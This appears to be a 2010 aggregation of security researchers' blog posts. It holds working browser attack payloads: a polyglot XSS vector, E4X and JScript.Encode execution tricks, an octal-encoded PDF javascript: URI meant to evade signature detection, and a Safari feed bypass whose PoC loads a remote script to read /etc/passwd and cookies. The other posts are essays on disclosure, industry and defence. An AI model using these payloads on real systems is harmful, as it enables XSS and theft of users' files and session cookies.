```
As an added challenge I tried to execute only the one payload and where possible to use a single eval. I had to use multiple evals as the contexts increased because for stuff like background= etc there was no way I could figure reusing the existing one So I had around 19 then got bored.

One vector to xss them all, one vector to find them,
One vector to bring them all and in the darkness bind them.

javascript:/*-->]]>%>?></script></title></textarea></noscript></style></xmp>">[img=1,name=/alert(1)/.source]<img -/style=a:expression&#40&#47&#42'/-/*&#39,/**/eval(name)/*%2A///*///);width:100%;height:100%;position:absolute;-ms-behavior:url(#default#time2) name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) onbegin=eval(name) background=javascript:eval(name)//>"

Updated added new vectors and removed any that weren’t required. Thanks to @LeverOne!!

2nd Update…Fixed comments, added name to [] rule so it executes without window.name for dom rules. Thanks again for some fixes by @LeverOne
Function is the new window

Posted: September 10th, 2010, 7:40am CDT by Gareth Heyes

Tags: Security [edit]
I discovered while reading some Firefox code that E4X allows you to call standard functions by using the special namespace. This is cool! We can now define setters etc on the XML prototype and call functions on E4X objects. It looks like this:-
```
<></>.function::toString();
```
Would Firefox be crazy enough to include this special namespace on all objects? Well they made the decision to include E4X methods on every object so I guess there’s no reason that it wouldn’t be included on window, it is the global object after all that means…..
```
function::['alert'](1)//mario discovered this 
```
Yes that is why “function” is the new window. But it doesn’t finish here oh no it gets even better Yosuke Hasegawa found some “magic strings”. That means accessing the namespace once will be persisted throughout the browser session. Just reading a property is enough to trigger a magic string. The following syntax is perfectly valid in Firefox you crazy cats.
```
<></>.function::['x'];//required once in a browser session
$="@mozilla.org/js/function";_="alert";$::[_](1)
```
I’d like to thank my fellow crazy JavaScript slackers:- Yosuke Hasegawa, Jonas Magazinius and Mario Heiderich for making Firefox appear nuts.

* Disclaimer if your sandbox breaks with the above code consider writing a better sandbox.
setTimeout and setInterval

Posted: September 10th, 2010, 7:23am CDT by Gareth Heyes

Tags: Security [edit]
Not posted for a while and you may have missed this on twitter.
```
setTimeout("MsgBox 1",0,'VBS');
```
Cool so setTimeout supports vbscript as an argument. Yeah I can read MSDN but JScript.Encode!!! Yet another place. I wonder what else remains undiscovered….
```
setTimeout("#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@",0,'JScript.Encode');
setInterval("#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@",0,'JScript.Encode');
```

Billy (BK) Rios

PDF XSS (CVE-2010-0190)

Posted: September 6th, 2010, 9:57pm CDT by xssniper

Tags: Security [edit]

In April of this year, Adobe patched a couple of bugs I reported to them. One was a code execution bug (CVE-2010-0191) and the other was a PDF based XSS (CVE-2010-0190). I’ll cover the code execution bug in a future post (as Adobe is still fixing a variant I reported), but for now I’d like to touch on the PDF XSS.

PDF based XSS isn’t a new concept, even Adobe considers PDFs to be active content. With that said, I’m surprised at the number of web applications that allow users to upload PDFs and then serve those PDF’s inline as opposed to an attachment (although there are some gotchas with content-disposition attachment). Serving a user supplied PDF inline essentially allows that user to execute arbitrary client side code from the domain serving the PDF. The safer way to handle PDFs is to serve them with the content-disposition set to attachment. An even better method is to serve the user controlled content from a separate domain. This can be difficult for web content portals that are deployed internally like SharePoint, Outlook Web Access (OWA) and Oracle Web (all of which were affected by this bug) where the organization would have to write custom code and employ custom configurations to protect themselves from PDF based XSS exposures. Serving PDFs with a content disposition set to attachment also creates usability issues as an ugly download warning will appear instead of the more friendly PDF content in the browser window behavior.

Although this particular bug was patched by Adobe a few months ago, there were a few things I learned that could possibly be used in other PDF bugs. I’d like to share some of the more interesting items.
PDFs Support Octal Encoding
PDFs support JavaScript from within the PDF. Unfortunately, the script executed from within the PDF will not have access to the browsers DOM. In order to gain access to the browser’s DOM, we have to use the PDF to redirect the browser to a JavaScript URI. Normally, redirection to JavaScript URIs are blocked by the PDF security routines, however I discovered an easy bypass using octal encoding. I place the JavaScript payload into an OpenAction for the PDF, using an octal encoded value (72) for the “:” character. An example of the OpenAction is presented below:

%PDF-1.1
1 0 obj
<<
/Type /Catalog
/OpenAction <<
/S /URI
/IsMap false
/URI (javascript72alert(“FTW – “+document.domain))
>>

A super simple XSS with PDFs. When the PDF is opened in the browser, it redirects the browser to a JavaScript URL allowing for XSS. Mailing out a rigged PDF as an attachment to some friends using OWA would have been an interesting exercise as certain versions of OWA open PDF attachments inline. Although I encoded the “:” character in the example above, any character in passed to the OpenAction can be encoded and Adobe Reader will handle it. In fact, octal encoding can be used throughout the PDF in various scripts and actions. For example, you could encode the entire protocol handler and it would still work:

/URI (11210112610112310312211112012472alert(document.domain))

You can even mix and match the encoding, making it extremely difficult for any signature based IDS to detect malicious payloads.

/URI (j101v101s103r111p12472alert(document.domain))

If you’re up against a security blacklist when attempting to exploit a PDF bug, try passing an octal encoded value for your payload. This was the bug Adobe fixed with CVE-2010-0190
Security models are different for local and remote PDFs
Like most browser plug-ins Adobe has implemented different security mechanisms for PDFs opened from the local file system and PDFs opened remotely. It can be useful to determine whether the PDF was opened remotely or locally. The following script returns an indication as to how the PDF was loaded.

//In the browser or loaded locally
if ( this.external )
{
// Viewing from a browser
}
else
{
// Viewing in the Acrobat application.
}

This can be useful if your exploit only works for locally loaded PDFs or maybe if your exploit only works for remotely loaded PDFs.
PDFs can be used to call the default browser
There can be situations where the user browses certain websites with one browser, but uses another browser as their default browser. Adobe Acrobat Reader actually provides an API (I’m not sure if it’s intentional) to pass a URI to the default browser.

app.launchURL(“http://xs-sniper.com/”,true);

If a user calls app.launchURL and passes the “true” flag, the default browser is opened and handles the passed URI. This can provide a bridge between two different browsers and can increase the reachable attack surface in some circumstances. If the user is using the default browser to open the PDF, this can help bypass pop-up blockers. You can test this by setting your default browser to IE and browsing the following PDF in FireFox. PDF HERE

There was an excellent presentation at PacSec that covered a ton of PDF bugs and Didier Stevens always has interesting PDF stuff. I hope this helps someone out there! Happy hunting.

Justice League

Remediation – The Game

Posted: September 2nd, 2010, 9:50am CDT by Guest

Tags: Software Security [edit]

(This is a guest post, contributed by Timothy Champagne, a consultant at Cigital.)

I have long been a fan of card games. During lunch breaks at work, my co-workers and I would often play such games to pass the time and socialize. I found myself thinking that this activity could not be unique to my office; countless others out there undoubtedly have similar routines. It occurred to me that there must be a way to harness this social gathering at work and turn it into a fun learning experience built around what I know best – software assurance and software security. After all, if people are going to play a card game, why not play one that can help ingrain the very ideas that Cigital has been trying to expound on for over a decade?

So I began designing Remediation, a card game that pits web application companies focused on generating revenue against the threat of malicious users focused on negatively impacting that revenue for their own nefarious motives. This is the very scenario that we encounter at Cigital on a regular basis and a theme that can easily transcend the commercial world and find relevance within the Federal space… an area of particular interest to me due to my work with the Application Software Assurance Center of Excellence (ASACoE) for the US Air Force.

Remediation has players compete to end up with the highest score while playing through real life software security scenarios. While taking on the role of either a company or a malicious user, the players take turns with the ultimate goal of playing the most revenue cards. The malicious users attack the company players with exploit cards, a SQL Injection attack for example, and score points in the form of revenue that the company loses by having their web application taken offline. The company players will then play cards, like a Database Restore, to recover from these attacks so their web applications return online and generate revenue for their own scores. Additionally, the company players can choose to spend some of that gained revenue to play cards that represent an investment into advanced security techniques that can prevent specific attacks against their applications, such as the game’s namesake, a Vulnerability Remediation card. At its heart, Remediation conceptualizes how various exploits could affect a web application and what measures would need to be taken in order to recover from these situations.

With its focus on software security themed gameplay, one of the primary goals for Remediation is for it to be useful as an educational tool. In today’s increasingly web-centric environment, it is more important than ever for developers to be able to think like an attacker and stay one step ahead of the threats that plague web applications every day; this game is designed to instill that mindset by presenting specific examples of how an attacker might target a system. As for managers, it is absolutely vital to understand how these risks might affect the successful conduction of business; the game works on this level by not only showing how these types of attacks can harm a company, but also how Cigital’s service offerings can help protect against these threats. By mirroring real life situations, Remediation strives to impart crucial skills that will help improve the players’ real world security posture outside the game.

Of course an additional goal would be to have a fun game with replay value so that the game could have a life of its own and introduce future players down the road to software security and how Cigital fits into this picture. Email us at remediationthegame@cigital.com if you’re interested in getting a copy of the game for yourself.

ha.ckers.org web application security lab

Detecting some forms of MITM attacks

Posted: August 20th, 2010, 3:10pm CDT by RSnake

Tags: Random Security [edit]

31 posts left…

There are quite a few different methods of performing MITM attacks, but one in particular kinda struck my fancy early on when I was thinking about airpwn. In the case of airpwn and similar exploits the attacker may be able to listen to the packets being transmitted but they aren’t able to block them, so instead it comes down to a game of beating packets to their source and origin. I don’t know what the prevalence of use of any sort of MITM is, but in this case there are a few things you could do to detect.

Anyway, if you receive double the DNS replies, or double ACK responses for instance, that could indicate that someone is trying to beat another packet back, which is why you’ll end up with two. Of course, figuring out which one is real isn’t straight forward (the bad guy may have just been slow, so it’s the first one that’s real). And there may be other things the bad guy can do like immediately forward a RST packet to the server you’re trying to connect to to quash the double ACK, so this may have some limits of utility.

Perhaps someone could think of another ingenious way to use that information or think of other clever methods of detection based on something similar for the other classes of MITM (like acting as a proxy, or re-routing traffic, etc…). I’m sure someone somewhere has already thought about and posted about this concept, but I wasn’t able to find anything in a cursory search. Maybe it’s new, maybe not, but I still thought it was interesting, even if limited.
The Chilling Effect

Posted: August 20th, 2010, 11:46am CDT by RSnake

Tags: Random Security [edit]
As I wind down to 33 posts left until my 1000th and last post, I thought I should spend a little time talking more introspectively about how our community has changed over the years.

When I got started in security I had around the 130th hacker website on earth. We were all linked together with the second webring ever made (for those of you who recall webrings), which is how I know. Incidentally webring was made by a guy in his basement as a college experiment. Bronc Buster got in touch with the guy, which is why we were the second. It was called the Fringe of the Web. Back then sharing knowledge was hard to do. Search engines didn’t exist (DMOZ was really it). No one really trusted one another. No one really knew much because there weren’t many help files or docs being published back then either. I think a lot of people felt like there was a strong possibility they’d land themselves in jail if they were too outspoken about security. For you to get any better you had to do the research yourself because there weren’t many people around to help (at least in my case there weren’t). That was especially true for me because what I was interested in wasn’t being a good sys-admin or network guy and all the docs were about operating system security, firewalls and memory corruption. People were pretty unhelpful with a lot of RTFM, even though the manuals hadn’t been written yet. Installing Debian on my Gateway2000 with my crapola Mitsumi CD ROM for which there were no drivers yet written was my burden alone to figure out. Instead I was interested in this whole newfangled web thing - which almost no one knew anything about. Defacements were the norm - cybercrime was myth reserved for wild eyed paranoids and movies. Let’s call this the dark ages of computer security.

Later the industry dramatically expanded, and instead of there being just north of a hundred sites talking about security, suddenly you’re seeing security related articles and blogs on mainstream press. There are tens of thousands of sites talking about it. There is more new code and ideas being passed around than ever before. No one really feared jail time anymore, which was the only major consequence of publishing code that anyone could come up with. Enter script kiddies and sites devoted to helping people learn about computer security. Cybercrime was just taking off, and everyone realized that this was turning into a business. Companies start acquiring security and we get cool titles like CISO and CSO and we even have our own certifications. We finally had use cases and anecdotes for everything we had been talking about for all these years. Linux starts being sold on commercial desktops. It was the hay-day of computer security. Let’s call this the enlightenment.

In the dark ages of computer security no one released code because they feared jail. In the enlightenment everyone released vulns because they wanted to make a name for themselves and prove their skill. So where does that leave us today? Let’s take an example of a hypothetical young web application and browser security guy (think me but just starting out) with no background or history in the industry. We’ll call him “Todd.”

Let’s say Todd releases a browser vuln that is useful against a good chunk of browsers, but it’s an architectural flaw and one that won’t be fixed for many years to come because if it is fixed it’ll break other things. It’s not a desktop compromise type issue, it’s just allows attackers to harm most websites in some obscure way (think the next version of CSRF or XSS or Clickjacking or whatever). Todd, not knowing what to do or who to talk to releases the vuln to make a name for himself and to help close down the hole, because he thinks that’s the right thing to do. Here are some possibilities:
- The Vendor is pissed at Todd for releasing the vuln and not telling them first - especially since there’s no fix. You evil vulnerability pimp you!
- The press asks the simple question, “Why did you release this when you knew there was no fix?” to which Todd has no good answer except he thought he was doing the right thing by letting people know - and then the press mis-quotes him.
- The blackhat community is pissed because they have been using something similar (or not) but either way they know this cool trick has a limited lifespan now thanks to Todd. More importantly they’ll try to hack Todd for releasing it. There will be much fist shaking and cursing of Todd’s name the day the vuln gets closed too.
- The elite crowd are annoyed because they don’t think Todd should have gotten any publicity. The elite kernel level bug is way sexier (and it may very well be) and takes more skill (quite possible as well), but Todd knows nothing about the politics of the industry - he’s just interested in his stuff. They may try to hack and drop Todd’s docs to shut him up. There’s only so much limelight to go around, after all. Incidentally, I don’t think most guys who work on these types of vulns are like this, but it only takes a few to deter someone new like Todd.
- There’s a slim chance someone might offer him a 9-5 job - as long as the vendor isn’t one of their clients.
Now let’s take the flip side - what if he wants to sell it:
- The vendor won’t pay for an architectural bug - only full machine compromises please!
- The blackhats won’t pay for it, because it doesn’t give them a shell.
So where does that leave Todd? It’s not in his best interest to release the vuln, because of the externalities of negative pressure, and no one is buying either. How does Todd make a name for himself? More importantly, how does he survive? Why on earth would Todd give up his vuln for free? He knows he could do some major damage with it, but the elite aren’t impressed so he doesn’t even get clout. Perhaps there’s a slim chance the vendor might hire him in gratitude? That’s a long shot and a waste of a great find for the chance at a 9-5 in the boiler room. Instead why wouldn’t Todd say screw it entirely and either stop doing the research and find something else to do or become bad and make some real cash? The chilling effect is in full swing. We are quite squarely headed towards another information security dark age. Sure there are a lot of good documents (if dated) on the web still. The bulk of advisories are from vendors these days, so you’ll still be up on yesterday’s news and patch management will be your life. Private conversations will always continue, but it won’t ever be like the enlightenment again unless something changes. I spoke with two large vendors about this and they acknowledged their part in it and that indeed they offered no good solution for someone like Todd who hadn’t already established himself - except the vague hope of some consulting arrangement.

I spoke with one guy who buys vulns and I asked him who his buyers were, out of curiosity. I was expecting him to say some large software retailers, but he said, “No, no, not at all. Most of my buyers are consulting companies.” I was confused. It turns out that there are a slew of consulting companies that will fail a pen-test with a client, but they can’t show the client that they found nothing, so they’ll whip out a ready-made 0day, impress the client and then they can go on the speaking circuit about their amazing find. Call me naive but it never even occurred to me that this industry could be that messed up. If you see someone speaking at a conference about some memory corruption flaw but they can’t seem to explain their own vuln the way you’d expect them to - you may have found one of these consultants.

I think this is important because as my tenure comes to a close in the blogging world, I feel like there are a lot of very talented people who will never get to see their day in the sun and as an unfortunate consequence of this vulnerability market some talentless people will. I know several people have completely packed up and decided to get out of the industry entirely because of how things are shaping up. I fear that the way things are headed it will be harder and harder for someone to rise to the top, without retribution from their peers. There is a whole new generation of people who are lining up to replace guys like me who are joining a very corrupt and preservationist industry. They may not have thick skin and may not survive what is in store for them. I’ve talked to over a dozen security folks who tell me the same story. These individuals worry about the security community’s reaction to anything these individuals say publicly more than they worry about actual bad guys committing crime. Is it too late to fix, or is it even worth fixing? Or would you argue that this is the best it’s ever been? I’d be curious to hear what people think.

Dominic White's .tHE pRODUCT

ZaCon II CFP Closes on Fri

Posted: August 19th, 2010, 3:09am CDT

Tags: Security [edit]

The ZaCon II CFP is nearing it's closure date (tomorrow!), and this is an overt reminder to all of you thinking about submitting to do it. ZaCon is a great place to either give your first infosec presentation or deliver a tech-heavy presentation to a receptive crowd. All you need do is submit a short abstract to abstracts@zacon.org.za and if your submission is accepted, prepare and deliver a presentation. You don't even need to write a paper. If that isn't lowering the barrier to entry enough, then you're just lazy :)

If my submission is accepted (heavy bribery underway), then I'm hoping to set up an infosec BP-style debate, and will be approaching some of you "I'm smart but never share that outside the office" types to get involved, and hopefully have some fun.

You can read more of my thoughts on ZaCon here. Also, at some indeterminate point in the future, some ramblings about ZaCon will appear in episode 18 of Let's Talk Geek.

Justice League

Software Security Crosses the Threshold in 2009

Posted: August 16th, 2010, 3:46pm CDT by gem

Tags: Software Security [edit]
I have been tracking the software security market and publishing numbers since 2006. This year’s article is now available on InformIT: Software Security Crosses the Threshold.

See these past (mysteriously named) articles for data from previous years:
- InformIT (2008): Software Security Comes of Age: Space Approaches $500M threshold
- InformIT (2007): Software Security Demand Rising
- Darkreading (2006): Want Turns to Need
The Figure above shows in millions of US dollars how the four major segments of the space have grown since 2006, from a total of $293.9 million (2006) to a total of $554.4 million in 2009. Note that even stronger growth is evident midway through 2010.

Analysis and details are available in the informIT article.

ha.ckers.org web application security lab

Hill-Billies: A Case Study

Posted: August 16th, 2010, 12:26pm CDT by RSnake

Tags: Random Security [edit]

34 posts until the end Oh, and happy Monday. It’s time for a little story.

Once upon a time there were some hill-billies living in the deep south. They had virtually nothing. They made their moonshine, and lived the most meager of lifestyles. They were in deep poverty. They made do with their hooch and stories. They worked hard - 8 hours per day at the local sweatshop, but they were happy enough. Then one day, an advocate for minimum wage increase saw what the hill-billies were living in and how they were living their lives. It made the advocate angry and they went to go fight the local sweatshop to increase their wages. The advocate wanted to make sweeping changes and would use the hill-billies as a case study on how much a little extra money can improve someone’s living standard to further the advocate’s cause.

Eventually, after intense scrutiny, the sweatshop realized that they had indeed been paying too little for any decent standard of living and decided to give all their minimum wage workers a rate increase, which included our friends the hill-billies. So now you’re thinking to yourself, the hill-billies got a home-loan or used the money to pay for school or something else productive, right? No… what happened was that the hill billies had always been happy with what they had, and the increase in money allowed them to stop working as much and make the same amount. They continued to make their moonshine and lived happily within their means…

The moral of the story is that about a year ago I reached an inflection point in my career of 15 years in security. I realized that with every major innovation the security community comes up with, the general public and vendors alike figure out a way to abuse that innovation or work around it to do what they originally wanted to do again (think firewalls and tunneling over port 80). It feels like we’ve been battling to protect people, but the people don’t want to be protected if it means changing. They’re happy with the status quo. Of course, there’s always fear of the unknown, and fear of insecurity is a key driver of spending (think anti-virus). One thing’s for sure though, you can’t change the nature of the hill-billies, so why are we trying? Our only path to success is empowering people to do what they want, without getting in the way. The words “No” and “Can’t” have to leave our vocabulary when it comes to what consumers and developers and companies want to do. Now, the trick is: how do we build security that no one notices is there?
Removing Entropy From PHP Session IDs

Posted: August 12th, 2010, 4:40pm CDT by RSnake

Tags: Random Security [edit]

35 posts remaining

Samy is awesome. If you missed his preso at Blackhat and DefCon, you missed out. You should try to get the DVD just to hear him. It’s hilarious. I’m not just saying that because he was using me as a fake case study or anything, it really was hilarious. Anyway, we got to talking and it occurred to me that it wasn’t super easy to automate his PHP session ID attack because it requires some social engineering to get the IP address of the user that you want to hijack. Well, after thinking I think I came up with a way around that in some cases.

There are a ton of sites these days that use load-balancers in front of them. There’s a few ways they can be installed - completely transparent or acting more like a proxy. The proxy is the more common setup but it has one pretty huge negative side-effect, all the IP addresses come to the server as just one - the internal IP of the load balancer. Normally that’s not a huge deal because the load-balancer does the logging or it sets some custom HTTP header that is properly logged. But PHP doesn’t know about any of that - it’s dumb. It’ll take whatever value it sees as the IP address and apply it to the session ID algorithm. So now instead of having to guess the entire IP space of the Internet, you now have to just guess RFC1918 - and probably realistically a much smaller slice of that in most cases.

Although that setup is pretty common, there is still one drawback. For Samy’s exploit to work you need to know when someone logged in (down to the second, preferably) to remove enough entropy to make it worthwhile to attack. So this still isn’t easily turned into an automated exploit, but we’re slowly but surely getting there.

Billy (BK) Rios

Stealing Files With Safari 5 (CVE-2010-1778)

Posted: August 2nd, 2010, 4:54am CDT by xssniper

Tags: Security [edit]

Last week, Apple patched a bug in Safari I had reported to the Apple security team. The impact of the bug was listed as a vulnerability that could “cause files from the user’s system to be sent to a remote server”. The advisory can be found here (CVE-2010-1778).

Here’s a breakdown of how you can get “files from the user’s system to be sent to a remote server”. First, Safari has a built-in RSS/Feed processor which will take RSS files and transforms them into a format that is easy to read. It’s important to understand that the XML content of the file being provided to the feed URL is not the same as the output markup that will be displayed by Safari’s built-in feed reader. Safari takes bits of content from the RSS file and mixes it with some built-in markup. Try browsing to this RSS feed with Firefox ([xs-sniper.com]) and do a quick view source. Then try browsing to the same URL with Safari and view source. You’ll see some drastic differences in the HTML markup between the two browser (the raw XML vs Safari’s transform).

When transforming the original XML file to a format that can be displayed by Safari’s internal feed reader, Safari also attempts to sanitize the XML file to prevent the execution of user/attacker controlled JavaScript. This sanitization is done because JavaScript executed under the feed:// protocol has access to the local file system and is NOT subject to the same origin policy. This bug bypassed these sanitization routines, giving an attacker the ability to execute arbitrary JavaScript under the feed protocol. The specific bypass is here (although the Jay-Z content isn’t necessary for the exploit, it adds a bit of flava…):

<category term=”Hip Hop/Rap” scheme=”http://itunes.apple.com/us/genre/music-hip-hop-rap/id18?uo=2″ label=”Hip Hop/Rap”/>

<link title=”Preview” rel=”enclosure” type=‘video/x-m4″–><script src=”http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js”>
</script>’ href=”data:text/html,testtesttest” im:assetType=”preview”><im:duration>30864</im:duration></link>

<im:artist href=”http://itunes.apple.com/us/artist/jay-z/id112080?uo=2″>Jay-Z</im:artist>

The XML above is transformed into the following by Safari’s feed processing routines:

<div>

<!– <img src=”feed:///__icon32__/video/x-m4″–><script src=”http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js”> </script>”> –>

<img src=”file://localhost/C:/Program%20Files%20(x86)/Safari/PubSub.resources/default.jpg” height=”32″ width=”32″/>

The script include is executed in HTML markup, requesting a JavaScript payload of the attackers choice. A quick PoC can be found here (http://xs-sniper.com/blog/Safari-Feed/feedpwn-mac.xml). For Mac users without the latest patches for Safari, the PoC loads an attacker controlled JavaScript include and simply shows your /etc/passwd in a JavaScript dialog. A better payload would be to crawl certain log files, extracting the username of the current user. Once the username is extracted, the payload could grab the cookies.plist file giving the remote attacker all the cookies for all the websites the current user is logged into. Various configuration and ini files could be useful as well. I’m putting the final touches on a metasploit module that does just this

The Spanner

Setters using VBS and constant hacks

Posted: July 30th, 2010, 7:31am CDT by Gareth Heyes

Tags: Security [edit]
I wasn’t gonna blog this because I couldn’t be bothered but Mario asked me if I had it documented anywhere and I guess it’s nice to have it somewhere. So I was looking to create setters in legacy browsers like IE7 and it would be nice to use them on custom objects in IE8. I came up with the following VBS hack:-
```
execScript("Class cnProperty Let x(y)nalert(y)nEnd PropertynEnd ClassnSet obj=new c","VBScript");obj.x=1;//yeah js calls vbs 
```
Pretty cool calling VBS from JS then using a VBS object inside JS

Ok and now some constant stuff I tweeted before but I quite like so I’ll post here too. Constants are weird in JavaScript, when you think about them you think in a value that cannot change but when it comes to objects they can’t be constants for some reason. I dunno why they could be implemented quite easily by creating a Getter only object but anyway:-
```
//example1
const x={};x.y=123;alert(x.y)//Objects aren't constants!

//example2 (need to run separately of course
const x={};x.toString=x.valueOf=function() { return 1; };alert(x)
```
Finally I’ll leave you with a quiz, what is “x” equal to without running?:-
```
var x=1; function y() { x=3; alert(x); return; const x=2;}y()// x == ?
```

Justice League

Input Validation and Data Dictionaries

Posted: July 21st, 2010, 8:30am CDT by scott

Tags: Data Security [edit]

Our internal discussion board brought up the topic of input validation last week. The discussion was around the regex for validating an email address. The message was that what seems like a very simple input validation can get complicated if the full standard is supported. As I read the discussion I started thinking about Data Dictionaries and their failed attempt to standardize data definitions within an enterprise.

The history lesson here is that around the time that database management systems were becoming commercialized (1980s) there were products called data dictionaries or data repositories. The idea was that metadata should be kept outside of the DBMS and shared by all of the application code. In the data dictionary nirvana, there would be ONE definition of EmployeeID for the entire enterprise and all applications and database would share this one definition.

Fast forward to 2010. Where are these products today? Just about every client I walk into has a commercial DBMS (Oracle, Microsoft or IBM), but nowhere do we encounter data dictionaries. Why? Because they never got deployed. What enterprises found out is that no one could agree on what an EmployeeID (or any other piece of data) looked like. Sometime it was politics; sometimes it was acquisitions; sometimes it was I18n. Whatever the reason, the bottom line is the same – there are precious few common data definitions in any enterprise.

So, how in the world does one expect to do input validation against data when there are only a precious few data definition that accurately describe data? This seems like a path that will only lead to the same quagmire that data dictionaries fell into.

For the curious, the regex for email addresses is:

(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|”(?:[x01-x08x0bx0cx0e-x1fx21x23-x5bx5d-x7f]|\[x01-x09x0bx0cx0e-x7f])*”)@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[x01-x08x0bx0cx0e-x1fx21-x5ax53-x7f]|\[x01-x09x0bx0cx0e-x7f])+)])

(from [www.regular-expressions.info])

Thanks to David Lindsay for the reference.
Cigital Participates in White House Discussion on the Progress of the President’s Cybersecurity Efforts

Posted: July 16th, 2010, 1:00am CDT by gem

Tags: Cyber Security [edit]

On Wednesday July 14, 2010, US Cyber Security Coordinator Howard Schmidt convened a hastily called meeting of around 100 public and private sector security experts at the White House to explain the progress he has made in the six months since he joined the administration. I was there. In an unexpected and exciting surprise, President Obama stopped by the meeting and spoke for 15-20 minutes.

Here is a picture I took of President Obama addressing the meeting. Howard Schmidt is to the far left. Beside him is Department of Homeland Security (DHS) Deputy Undersecretary Phil Reitinger. The moment President Obama entered the meeting was electric. Attendees immediately stood and gave him an ovation. The room was energized, and the President’s charisma was palpable. I, for one, was proud to be there.

In addition to remarks from President Obama and Howard Schmidt, the meeting was addressed by two cabinet Secretaries—Janet Napolitano, Secretary of DHS, and Gary Locke, Secretary of Commerce. The invitation-only event included members of the Administration, state and local government officials, law enforcement officers, select industry executives, academics and representatives from privacy and civil liberties groups. Attendees who I know included Matt Blaze, Carl Landwehr, Ed Amoroso, Marc Rotenberg, Eugene Spafford, Mischel Kwon, and John Savage.

I wrote up my thoughts on the meeting in an informIT article “Obama Highlights Cyber Security Progress: Private Sector Security Experts Convene at the White House to Discuss the National Cyber Securiy Agenda.”

Howard described his impressions of the meeting and its purpose on the White House blog. An official progress report is also available there.

The Spanner

Astalanumerator 0.7

Posted: June 16th, 2010, 1:32pm CDT by Gareth Heyes

Tags: Security [edit]

Just a quick post to let you know I’ve updated Astalanumerator in case you use it somewhere. I use codeplex to host it as I thought I’d give it a whirl as I’ve seen other people host their projects and it looks decent.

This version contains various CSS fixes and tracks each object within links and via the astalanumerator object, this was quite tricky because I allow stuff like “/a/” etc and because you can click many different properties it’s hard to keep track of each of them. Each click now jumps you straight to the list of props for that object instead of just showing you in the url. The object are colour coded now and the inspector fills the screen. You should notice it’s much faster than the original one and it inspects properties using three methods, 1. A normal for..in loop. 2. A manual list of props I’ve collected 3. Using the IE enumerator object. Enjoy!

Source code
New version
Old version

cat slave diary

The Impossibles

Posted: June 6th, 2010, 8:03am CDT by vanderaj

Tags: Security [edit]
I thought recently about the ways in which folks who are looking for research projects in web app sec might make a useful contribution to the field. Part of that is the list of impossible tasks – those tasks that are so hard that it is unlikely to be solved in my lifetime. If you solve these, you’re a rocket scientist.
- Universal XSS Prophylactic – it seems simple enough – blow XSS out of the water. In all code for all time. We know how to do it well enough, but how do you solve it for all that crappy code still running? Think of a design pattern, injection, or mechanism that will blow XSS out of the water with minimal changes to existing code. Don’t say h().
- The No Injection Design Pattern. Almost all of our major commercially successful protocols are mixed data / program (i.e. not Harvard Architecture). Think about a design pattern, architecture, or API that allows ANY arbitrary protocol (SNMP through XML) to have no injections. This is not just about prepared statements, this is about taking an injectable grammar, and transforming it into a work of uninjectable beauty that is orthogonal and deep. There is previous work in this area (and you’ll be off to good start if you know who wrote it and include them in your research team).
- Common Off the Shelf Anti-Corruption Business Processes. Realistically, we’re here to support solutions, not enable security “features”. There’s no value to be had from security per se; we are the guardians against dumb luck and bad risk. There should be a open source business process library that is resistant to fraud, corruption, coercion and bribery, as well as just going from Step 1 to Step 10. Think of how a simple process of acquiring pens from the office supplies cupboard should be built compared to say acquiring a data center populated with 3843 servers. Or was that 3842 servers?
- Working with infected platforms. Financial institutions know that a certain percentage of their customers are infected with malware. At one institution I worked at, it was approximately 35% of a Certain Popular Operating System had at least one, and more often 10 or more different pieces of malware installed, ranging from hostile toolbars all the way through to Banking trojans. We knew absolutely that their computers would most likely steal their logins, and try to steal their funds. Think about ways you can perform “trusted” computing on a clearly untrustable platform. Booting a LiveCD is not going to cut it for my Mum. Think harder. This one will make you millions if not billions if you do it right.
- Creating a math or notation for access control that “proves” protection. This one is a big one. Many a time, we do code reviews and penetration tests and find insecure end points – client, presentation, controller, model, or data and we can exploit them. We shouldn’t be able to find these at all – your compiler and IDE should alert developers to leakage of secured data / functions. Come up with a notation or mechanism that can be easily parsed by compilers that helps prove that every piece of secured data and secured function is protected end to end. You must satisfy “principle of least privilege”, “default deny”, “fail safely”, and “complete mediation” principles.
Some of these items are dealt with by OWASP’s ESAPI, others by the judicious use of WAFs. But there is huge scope with billions of lines of legacy code hanging out there in any number of languages and frameworks. These are simply never going to be fixed, and yet we rely on them to keep the lights on, water flowing and sewerage flushing. Literally. These are the first five that I think are worthy of top class researchers. Go for it.

Justice League

Silver Bullet Turns 50

Posted: June 2nd, 2010, 2:58pm CDT by gem

Tags: Cyber Security [edit]

It’s hard to believe that the Silver Bullet Security Podcast has been running for 50 consecutive months! Silver Bullet has thousands of listeners, and it’s always fun to produce. Writing the script usually takes an hour or two, and requires some advance research from Brandi Ortega of IEEE S&P fame. Then we do recording (almost always over the phone) and post production mixing to add in the music.

For our 50th episode, we decided to shoot some HD video or our interview with Richard Clarke. Ryan and I bought some cheap digital cameras, (really importantly) some lights, and a “clapper” which we drove out to Arlington for the shoot. We recorded audio separately with boom mics and a USB mixer. Then came the video editing…

And the result? Check it out yourself here:

It amazes me what you can do for less than $1000 bucks with video these days. Shouts to Marcus Ranum for the photography advice. Thanks Ryan for the extra effort on this episode! And also thanks to IEEE Security & Privacy magazine for co-sponsoring the podcast.

We hope you like Silver Bullet, and we welcome your feedback on the Silver Bullet website. Subscribe today via RSS or on iTunes.

cat slave diary

Welcome to iPad fraud

Posted: May 27th, 2010, 1:13am CDT by vanderaj

Tags: Security [edit]

In the rush to release hundreds of publication specific apps as quickly as possible, every media dinosaur is desperately trying to claw money from the cashed up iPad owners with micropayments and pay walls. This is a recipe for disaster – and it’s going to be a gold mine for security consultancies, and nothing but tears for users.

Why?

All of these apps have to implement their own pay wall, subscription model, and store regulated financial data. Whereas before Apple did all the hard yards, now Flash web designers are going to be cutting code in Objective C for the first time to handle credit cards.

